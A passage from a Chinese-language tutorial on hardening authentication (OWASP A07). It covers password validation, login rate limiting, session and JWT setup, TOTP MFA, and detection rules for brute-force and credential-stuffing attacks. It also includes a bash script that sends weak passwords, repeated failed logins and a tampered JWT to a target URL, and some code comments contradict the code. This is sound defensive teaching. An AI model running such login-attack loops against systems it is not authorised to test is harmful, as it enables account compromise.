# 常见弱密码(实际应使用更大的字典,如 rockyou 前 10000)
COMMON_PASSWORDS = {
"123456", "password", "12345678", "qwerty", "123456789",
"12345", "1234", "111111", "1234567", "dragon",
"123123", "baseball", "abc123", "football", "monkey",
"letmein", "shadow", "master", "666666", "qwertyuiop",
}
def validate_password(password: str, username: str = "", email: str = "") -> tuple:
"""
密码强度校验
返回: (是否通过, 错误信息列表)
"""
errors = []
# 1. 最小长度(NIST 建议 8,推荐 12)
if len(password) < 8:
errors.append("密码长度至少 8 位(建议 12 位以上)")
# 2. 最大长度(防止 DoS:超长密码会让 bcrypt 消耗大量 CPU)
if len(password) > 128:
errors.append("密码长度不能超过 128 位")
# 3. 常见弱密码检查(比"必须含大小写数字"有效得多)
if password.lower() in COMMON_PASSWORDS:
errors.append("该密码过于常见,请更换")
# 4. 不能包含用户名/邮箱本地部分
if username and username.lower() in password.lower():
errors.append("密码不能包含用户名")
if email:
local_part = email.split('@')[0].lower()
if len(local_part) > 3 and local_part in password.lower():
errors.append("密码不能包含邮箱名")
# 5. 简单序列检查
if re.search(r'(.)\1{3,}', password): # aaaa, 1111
errors.append("密码不能包含 4 个以上连续相同字符")
if re.search(r'(0123|1234|2345|3456|4567|5678|6789|abcd|bcde|cdef)', password.lower()):
errors.append("密码不能包含简单序列(如 1234、abcd)")
# 6. 检查是否在已知泄露库中(HIBP API,k-anonymity 模型)
if is_password_pwned(password):
errors.append("该密码已在公开的数据泄露事件中出现,请更换")
return (len(errors) == 0, errors)
def is_password_pwned(password: str) -> bool:
"""
使用 Have I Been Pwned 的 Range API 检查密码是否泄露
采用 k-anonymity:只发送 SHA1 的前 5 位,不泄露完整密码
"""
sha1 = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
try:
r = requests.get(
f"https://api.pwnedpasswords.com/range/{prefix}",
timeout=3
)
# 响应格式: "SUFFIX:出现次数\r\n"
for line in r.text.splitlines():
if line.split(':')[0] == suffix:
return True
except requests.RequestException:
# API 不可用时不阻断注册(可用性优先)
pass
return False
# 使用
ok, errs = validate_password("Password123!", username="zhangsan", email="zhangsan@example.com")
if not ok:
print("密码不合格:", errs)💡 踩坑提示:HIBP 的 API 是外部依赖,一定设置超时(3 秒)并在失败时放行(不阻断注册),否则 API 挂了会导致用户无法注册。这是安全与可用性的权衡 —— 安全检查不应该成为单点故障。
限频双维度,且别做永久锁定
@Component
public class LoginAttemptService {
private static final int MAX_ATTEMPTS = 5;
private static final int LOCK_DURATION_MIN = 15;
@Autowired private StringRedisTemplate redis;
/**
* 记录登录失败
*/
public void loginFailed(String username, String clientIp) {
// 双维度计数:账号维度 + IP 维度
String userKey = "login:fail:user:" + username;
String ipKey = "login:fail:ip:" + clientIp;
Long userFails = redis.opsForValue().increment(userKey);
Long ipFails = redis.opsForValue().increment(ipKey);
// 首次失败时设置过期时间(避免永久累积)
if (userFails != null && userFails == 1) {
redis.expire(userKey, Duration.ofMinutes(LOCK_DURATION_MIN));
}
if (ipFails != null && ipFails == 1) {
redis.expire(ipKey, Duration.ofMinutes(LOCK_DURATION_MIN));
}
}
/**
* 检查是否被锁定
*/
public boolean isBlocked(String username, String clientIp) {
String userKey = "login:fail:user:" + username;
String ipKey = "login:fail:ip:" + clientIp;
String userFails = redis.opsForValue().get(userKey);
String ipFails = redis.opsForValue().get(ipKey);
// 账号维度:5 次失败锁定 15 分钟
if (userFails != null && Integer.parseInt(userFails) >= MAX_ATTEMPTS) {
return true;
}
// IP 维度:20 次失败锁定(防"换账号"爆破)
if (ipFails != null && Integer.parseInt(ipFails) >= MAX_ATTEMPTS * 4) {
return true;
}
return false;
}
/**
* 登录成功,清除计数
*/
public void loginSucceeded(String username, String clientIp) {
redis.delete("login:fail:user:" + username);
redis.delete("login:fail:ip:" + clientIp);
}
}限频策略设计要点:
| 维度 | 阈值 | 目的 |
|---|---|---|
| 账号维度 | 5 次/15 分钟 | 防针对单账号的爆破 |
| IP 维度 | 20 次/15 分钟 | 防"换账号"的横向爆破 |
| 全局维度 | 1000 次/分钟 | 防分布式爆破(打整体) |
| 设备指纹维度 | 10 次/小时 | 防换 IP |
| 递增延迟 | 失败越多延迟越大 | 降低爆破效率,不硬锁定 |
💡 踩坑提示:不要永久锁定账号。永久锁定会被攻击者反过来利用 —— 他只要用正确的用户名连续输错,就能把合法用户永久锁在外面(账号锁定攻击 / Account Lockout DoS)。正确的做法是临时锁定 + 递增延迟,并保证"正确密码永远能登录"(比如锁定期间正确密码仍可登录,只是需要验证码)。
验证码的正确使用:
引入时机(渐进式,不影响正常用户):
1-2 次失败:无验证码
3-4 次失败:出现验证码
5+ 次失败:验证码 + 临时锁定 15 分钟
异常登录(异地/新设备):强制验证码或 MFA
关键要求:
✅ 服务端生成、服务端校验、服务端存储(session/redis)
✅ 一次性:校验通过立即失效
✅ 有过期:5-10 分钟
✅ 与手机号/用户绑定:不能 A 的码验证 B
✅ 有限频:发送间隔 ≥ 60 秒,每日上限
❌ 不在响应中返回验证码
❌ 不在前端校验会话生命周期:登出、超时、记住我
@Configuration
public class SessionSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.sessionManagement(session -> session
// 登录成功后更换 SessionID(防会话固定)
// Spring Security 默认就是 changeSessionId,显式写出更明确
.sessionFixation(fix -> fix.changeSessionId())
// 并发会话控制:同一账号最多 1 个会话
.maximumSessions(1)
// 达到上限后,拒绝新登录(而非踢掉旧的,避免被恶意踢下线)
.maxSessionsPreventsLogin(false)
.expiredUrl("/login?expired")
)
.logout(logout -> logout
.logoutUrl("/logout")
// 登出时销毁 session(关键!)
.invalidateHttpSession(true)
// 清除 Cookie
.deleteCookies("JSESSIONID", "remember-me")
// 清除认证信息
.clearAuthentication(true)
.logoutSuccessUrl("/login?logout")
);
return http.build();
}
}会话超时配置:
# application.yml
server:
servlet:
session:
timeout: 30m # 空闲超时 30 分钟(默认)
cookie:
http-only: true # 防 XSS 窃取
secure: true # 仅 HTTPS 传输
same-site: lax # 防 CSRF
max-age: 30m会话超时策略建议:
| 系统类型 | 空闲超时 | 绝对超时 |
|---|---|---|
| 普通业务系统 | 30 分钟 | 8 小时 |
| 后台管理系统 | 15 分钟 | 4 小时 |
| 金融/支付系统 | 5 分钟 | 1 小时 |
| "记住我"功能 | — | 7-14 天(且应为独立令牌) |
"记住我"的安全实现:
// ✅ 安全的 remember-me:使用持久化令牌(Persistent Token)方案
@Bean
public PersistentTokenRepository persistentTokenRepository() {
JdbcTokenRepositoryImpl repo = new JdbcTokenRepositoryImpl();
repo.setDataSource(dataSource);
return repo;
}
// 原理:
// 1. 生成随机的 series(标识令牌系列)和 token 值
// 2. series + token 存入数据库,token 存入 Cookie
// 3. 每次使用时【更换 token 值】(关键!)
// 4. 若 series 匹配但 token 不匹配 → 说明令牌被盗用 → 立即失效该 series
//
// 这样即使令牌被窃取:
// - 攻击者用了一次后,token 会变
// - 合法用户下次使用时发现 token 不匹配 → 系统检测到盗用 → 全部失效
//
// ❌ 不安全的做法:记住的凭据直接用 userId 加密后放 Cookie(可被重放)JWT 安全实践与失效方案
@Component
public class JwtTokenProvider {
// ✅ 密钥从环境变量/KMS 读取,不硬编码
@Value("${jwt.secret}")
private String secretKey;
private static final long ACCESS_TOKEN_EXPIRE = 15 * 60 * 1000; // 15 分钟
private static final long REFRESH_TOKEN_EXPIRE = 7 * 24 * 60 * 60 * 1000; // 7 天
public String createAccessToken(UserDetails user) {
Date now = new Date();
return Jwts.builder()
.setSubject(user.getUsername())
.claim("roles", user.getAuthorities().stream()
.map(a -> a.getAuthority()).collect(Collectors.toList()))
// ⚠️ 绝不放敏感信息:JWT 是 base64 编码,任何人可解码
// ❌ .claim("password", ...)
// ❌ .claim("idCard", ...)
.setIssuedAt(now)
.setIssuer("my-auth-server") // 签发者
.setAudience("my-app") // 受众
.setExpiration(new Date(now.getTime() + ACCESS_TOKEN_EXPIRE))
.signWith(getSigningKey(), SignatureAlgorithm.HS256)
.compact();
}
public Claims parseToken(String token) {
return Jwts.parserBuilder()
// ⚠️ 关键:强制指定算法,绝不接受客户端 header 里的 alg
.setAllowedClockSkewSeconds(30) // 允许 30 秒时钟偏差
.requireIssuer("my-auth-server") // 校验签发者
.requireAudience("my-app") // 校验受众
.setSigningKey(getSigningKey())
.build()
.parseClaimsJws(token) // 注意是 Jws(带签名),不是 Jwt
.getBody();
// parseClaimsJws 会自动校验 exp / nbf
// 算法不匹配会抛异常(因为 setSigningKey 后只允许该密钥对应的算法)
}
private Key getSigningKey() {
// HS256 要求密钥至少 256 bit (32 字节)
byte[] keyBytes = secretKey.getBytes(StandardCharsets.UTF_8);
if (keyBytes.length < 32) {
throw new IllegalStateException("JWT 密钥长度不足 32 字节");
}
return Keys.hmacShaKeyFor(keyBytes);
}
}JWT 安全要点总结:
【密钥】
✅ 至少 32 字节随机(HS256)
✅ 从环境变量/KMS 读取,不硬编码
✅ 定期轮换,支持多密钥(用 kid 区分,且 kid 走白名单映射)
❌ 不用 "secret" / "123456" / 公司名等可猜字符串
【算法】
✅ 服务端强制指定(algorithms=["HS256"])
✅ RS256 场景:绝不接受从 header 读 alg
❌ 绝不允许 alg: none
❌ 绝不混用对称/非对称
【校验】
✅ 校验签名
✅ 校验 exp(过期)、nbf(生效时间)
✅ 校验 iss(签发者)、aud(受众)
✅ 允许少量时钟偏差(leeway)
【内容】
❌ 不放密码、身份证、手机号等敏感信息(base64 可解)
❌ 不放过大的 payload(每次请求都要传输)
【失效】
⚠️ JWT 无状态,签发后无法主动失效 —— 这是它最大的问题
解决方案(三选一):
1. 短过期时间(15 分钟)+ Refresh Token(推荐)
2. Redis 黑名单:登出时把 token 加入黑名单,过期时间 = token 剩余有效期
3. 令牌版本号:用户表存 token_version,改密/登出时 +1,校验时比对JWT 失效方案实现(推荐 Refresh Token 模式):
// 方案:Access Token 短过期 + Refresh Token 长过期 + Redis 管理刷新令牌
@Service
public class TokenService {
@Autowired private StringRedisTemplate redis;
/**
* 登出:把 access token 加入黑名单
*/
public void logout(String accessToken, String refreshToken) {
// 解析出剩余有效期
Claims claims = jwtProvider.parseToken(accessToken);
long remaining = claims.getExpiration().getTime() - System.currentTimeMillis();
if (remaining > 0) {
// 加入黑名单,过期时间 = token 剩余有效期
// 这样黑名单不会无限增长
redis.opsForValue().set(
"jwt:blacklist:" + DigestUtils.md5DigestAsHex(accessToken.getBytes()),
"1",
Duration.ofMillis(remaining)
);
}
// 删除 refresh token
redis.delete("jwt:refresh:" + refreshToken);
}
/**
* 校验 token 是否在黑名单
*/
public boolean isBlacklisted(String accessToken) {
return Boolean.TRUE.equals(redis.hasKey(
"jwt:blacklist:" + DigestUtils.md5DigestAsHex(accessToken.getBytes())
));
}
}MFA 落地:TOTP 与备份码
TOTP 实现(Google Authenticator / 企业微信等):
@Service
public class MfaService {
/**
* 为用户生成 TOTP 密钥
*/
public String generateSecret(String username) {
// 生成 160 bit 随机密钥
byte[] buffer = new byte[20];
new SecureRandom().nextBytes(buffer);
String secret = Base32.encode(buffer);
// 生成供用户扫描的二维码内容
// 格式: otpauth://totp/Issuer:username?secret=XXX&issuer=Issuer
String otpauthUrl = String.format(
"otpauth://totp/MyApp:%s?secret=%s&issuer=MyApp",
username, secret
);
// 用 ZXing 生成二维码图片返回给前端
return secret;
}
/**
* 验证 TOTP 码
*/
public boolean verifyCode(String secret, int code, String username) {
// 1. 检查该 code 是否已使用过(防重放)
String usedKey = "mfa:used:" + username + ":" + code;
if (Boolean.TRUE.equals(redis.hasKey(usedKey))) {
return false; // 已使用过
}
// 2. 验证
long timeStep = System.currentTimeMillis() / 1000 / 30;
// 允许前后各 1 个时间窗口(±30 秒),兼容时钟偏差
for (int i = -1; i <= 1; i++) {
if (calculateTotp(secret, timeStep + i) == code) {
// 3. 标记为已使用(有效期 90 秒,覆盖 3 个窗口)
redis.opsForValue().set(usedKey, "1", Duration.ofSeconds(90));
return true;
}
}
return false;
}
private int calculateTotp(String secret, long timeStep) {
// HMAC-SHA1(secret, timeStep) → 动态截断 → 6 位数字
byte[] key = Base32.decode(secret);
byte[] data = ByteBuffer.allocate(8).putLong(timeStep).array();
try {
Mac mac = Mac.getInstance("HmacSHA1");
mac.init(new SecretKeySpec(key, "HmacSHA1"));
byte[] hash = mac.doFinal(data);
// 动态截断(RFC 4226)
int offset = hash[hash.length - 1] & 0x0f;
int binary = ((hash[offset] & 0x7f) << 24)
| ((hash[offset + 1] & 0xff) << 16)
| ((hash[offset + 2] & 0xff) << 8)
| (hash[offset + 3] & 0xff);
return binary % 1000000;
} catch (Exception e) {
throw new RuntimeException("TOTP 计算失败", e);
}
}
/**
* 生成备份码(用户丢失设备时的应急手段)
*/
public List<String> generateBackupCodes(String username) {
List<String> codes = new ArrayList<>();
SecureRandom random = new SecureRandom();
for (int i = 0; i < 8; i++) {
String code = String.format("%08d", random.nextInt(100000000));
codes.add(code);
// 存储时也要哈希(备份码等价于密码)
redis.opsForValue().set(
"mfa:backup:" + username + ":" + hashSha256(code),
"1"
);
}
return codes; // 只在生成时展示一次,之后只存哈希
}
}MFA 设计要点:
✅ 敏感操作强制 MFA:改密码、改绑定手机/邮箱、大额交易、查看敏感数据
✅ 备份码:生成 8-10 个,哈希存储,一次性使用,用完后提醒重新生成
✅ 新设备/异地登录:触发二次验证
✅ MFA 绑定过程本身要认证:绑定 MFA 时必须已登录且验证过密码
❌ MFA 状态存在前端/Cookie(可篡改)→ 必须存服务端 session
❌ 短信作为唯一第二因子(SIM 卡劫持风险)→ 优先 TOTP / 硬件密钥检测规则:认证环节的告警
认证环节的日志和告警(配合 A09):
# 认证安全检测规则
# 规则 1:爆破检测
- id: brute-force-login
detection:
condition: threshold
event: login_failed
group_by: [username, source_ip]
count: 10
window: 300s
action: [block_ip_1h, alert_soc]
severity: high
# 规则 2:凭据填充检测(特征:同一 IP 尝试大量不同用户名)
- id: credential-stuffing
detection:
condition: threshold
event: login_failed
group_by: source_ip
distinct_usernames: 20 # 单个 IP 尝试 20 个以上不同用户名
window: 600s
action: [block_ip_24h, alert_soc, notify_sec]
severity: critical
note: "凭据填充特征明显,需立即处置并排查命中账号"
# 规则 3:账号锁定攻击(DoS 反制)
- id: account-lockout-attack
detection:
condition: threshold
event: account_locked
group_by: username
count: 5
window: 3600s
action: [alert, temporary_unlock, force_captcha]
severity: medium
note: "可能是攻击者故意锁定合法账号,考虑改为临时锁定+验证码"
# 规则 4:异常登录(异地/新设备)
- id: impossible-travel
detection:
condition: geo_velocity
event: login_success
group_by: username
# 前后两次登录的地理位置距离 / 时间差 > 900 km/h
max_velocity_kmh: 900
action: [force_mfa, alert_user, alert_soc]
severity: high
# 规则 5:MFA 失败风暴
- id: mfa-failure-storm
detection:
condition: threshold
event: mfa_failed
group_by: username
count: 5
window: 300s
action: [lock_account_temp, alert_user]
severity: high
# 规则 6:JWT 异常
- id: jwt-anomaly
detection:
condition: any
rules:
- jwt_alg_is: none
- jwt_signature_invalid_count: 20 # 大量验签失败(可能在爆破密钥)
- jwt_exp_too_long: 2592000 # 有效期超过 30 天
action: [alert_soc]
severity: critical必须记录的认证日志字段:
timestamp, event_type(login_success/login_failed/logout/mfa_*/password_reset),
username, source_ip, user_agent, device_fingerprint,
geo_location, result, failure_reason, session_id, trace_id💡 日志脱敏提醒:记录认证日志时绝不能记录密码(明文或哈希都不行)。我见过登录失败日志里把用户提交的密码原样打出来的 —— 一旦日志泄露,等于全量凭据泄露。
回归验证清单
#!/usr/bin/env bash
# 认证安全回归验证
# 用法: bash verify_auth.sh https://target.com
TARGET="$1"
PASS=0; FAIL=0
check() {
if [ "$2" = "$3" ]; then
echo "[PASS] $1 (期望 $3, 实际 $2)"; PASS=$((PASS+1))
else
echo "[FAIL] $1 (期望 $3, 实际 $2)"; FAIL=$((FAIL+1))
fi
}
echo "===== 1. 弱口令应被拒绝 ====="
for p in 123456 password admin123 qwerty; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"testuser\",\"password\":\"$p\"}")
# 期望:401(登录失败)
[ "$code" = "401" ] && echo "[PASS] 弱口令 $p 被拒绝" && PASS=$((PASS+1)) \
|| (echo "[FAIL] 弱口令 $p 返回 $code" && FAIL=$((FAIL+1)))
done
echo
echo "===== 2. 爆破防护 ====="
# 连续 10 次错误密码
blocked=0
for i in $(seq 1 10); do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"testuser\",\"password\":\"WrongPass$i!\"}")
[ "$code" = "429" ] || [ "$code" = "423" ] && blocked=$((blocked+1))
done
if [ "$blocked" -gt 0 ]; then
echo "[PASS] 爆破防护生效 ($blocked/10 次被限流)"; PASS=$((PASS+1))
else
echo "[FAIL] 10 次失败均未被限制"; FAIL=$((FAIL+1))
fi
echo
echo "===== 3. 账号枚举防护 ====="
r1=$(curl -s -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"existinguser","password":"wrong"}')
r2=$(curl -s -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"nonexistent9999xyz","password":"wrong"}')
if [ "$r1" = "$r2" ]; then
echo "[PASS] 错误提示统一,无法枚举用户名"; PASS=$((PASS+1))
else
echo "[FAIL] 响应不同,可枚举用户名"; FAIL=$((FAIL+1))
echo " 存在用户: $(echo "$r1" | head -c 100)"
echo " 不存在用户: $(echo "$r2" | head -c 100)"
fi
echo
echo "===== 4. Cookie 安全属性 ====="
COOKIE=$(curl -sI "$TARGET/login" | grep -i "set-cookie" | head -1)
echo "$COOKIE"
for attr in "Secure" "HttpOnly" "SameSite"; do
echo "$COOKIE" | grep -qi "$attr" \
&& (echo "[PASS] $attr 已设置"; PASS=$((PASS+1))) \
|| (echo "[FAIL] 缺少 $attr"; FAIL=$((FAIL+1)))
done
echo
echo "===== 5. 登出后会话应失效 ====="
# 需要有效的测试账号
if [ -n "${TEST_USER:-}" ] && [ -n "${TEST_PASS:-}" ]; then
curl -s -c /tmp/verify_cookies.txt -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$TEST_USER\",\"password\":\"$TEST_PASS\"}" -o /dev/null
before=$(curl -s -o /dev/null -w "%{http_code}" -b /tmp/verify_cookies.txt "$TARGET/api/profile")
curl -s -b /tmp/verify_cookies.txt "$TARGET/api/logout" -o /dev/null
after=$(curl -s -o /dev/null -w "%{http_code}" -b /tmp/verify_cookies.txt "$TARGET/api/profile")
echo "登出前: $before 登出后: $after"
if [ "$before" = "200" ] && [ "$after" = "401" ]; then
echo "[PASS] 登出后会话已销毁"; PASS=$((PASS+1))
else
echo "[FAIL] 登出后会话仍有效"; FAIL=$((FAIL+1))
fi
else
echo "[SKIP] 未设置 TEST_USER/TEST_PASS"
fi
echo
echo "===== 6. JWT 安全 ====="
if [ -n "${TEST_TOKEN:-}" ]; then
# 解码 header 看算法
HEADER=$(echo "$TEST_TOKEN" | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null)
echo "JWT Header: $HEADER"
echo "$HEADER" | grep -q '"none"' \
&& (echo "[FAIL] JWT 使用 none 算法"; FAIL=$((FAIL+1))) \
|| (echo "[PASS] JWT 算法非 none"; PASS=$((PASS+1)))
# 测试篡改进不去
TAMPERED="${TEST_TOKEN%.*}.invalidsignature"
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TAMPERED" "$TARGET/api/profile")
[ "$code" = "401" ] && (echo "[PASS] 篡改签名的 token 被拒绝"; PASS=$((PASS+1))) \
|| (echo "[FAIL] 篡改的 token 返回 $code"; FAIL=$((FAIL+1)))
else
echo "[SKIP] 未设置 TEST_TOKEN"
fi
echo
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"验证清单:
- [ ] 弱密码无法注册(常见弱密码 + 泄露库检查)
- [ ] 登录失败有计数与锁定(双维度:账号 + IP)
- [ ] 错误提示统一,无法枚举用户名
- [ ] 登录成功后更换 SessionID
- [ ] 登出后服务端会话销毁(用旧 cookie 访问返回 401)
- [ ] 会话有超时(空闲超时 ≤ 30 分钟)
- [ ] Cookie 具备 Secure + HttpOnly + SameSite
- [ ] JWT 强制算法、校验 exp/iss/aud、不含敏感信息
- [ ] JWT 篡改签名被拒绝
- [ ] 敏感操作(改密码/改绑手机)需要重新认证或 MFA
- [ ] 验证码服务端校验、一次性、有过期、与手机号绑定
- [ ] 认证日志完整记录,且不含密码
最后:单靠密码,无论如何挡不住凭据填充
A07 是所有安全措施的地基 —— 如果认证这道门守不住,后面所有的权限控制都是在给"合法用户"设限,而攻击者已经是合法用户了。
几个最容易被忽略、但收益最高的点:
- 登出必须销毁服务端会话 —— 这是我见过最多的"看起来做了但实际没做"的功能。前端跳转不算登出。
- 登录后必须更换 SessionID —— 一行配置的事,但很多系统漏了。
- JWT 必须强制指定算法 ——
algorithms=["HS256"],绝不接受客户端 header 的 alg。 - JWT 里不要放敏感信息 —— base64 不是加密,谁都能解。
- 限频要双维度(账号 + IP),且不做永久锁定(会被反向利用成 DoS)。
还有一个认知层面的点:现代认证已经不是"用户名+密码"了。密码只是第一因子,MFA 是标配,风控(异地/新设备/行为异常)是第三层。单靠密码,无论密码策略多严格,都挡不住凭据填充 —— 因为用户一定会在多个站点复用密码。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。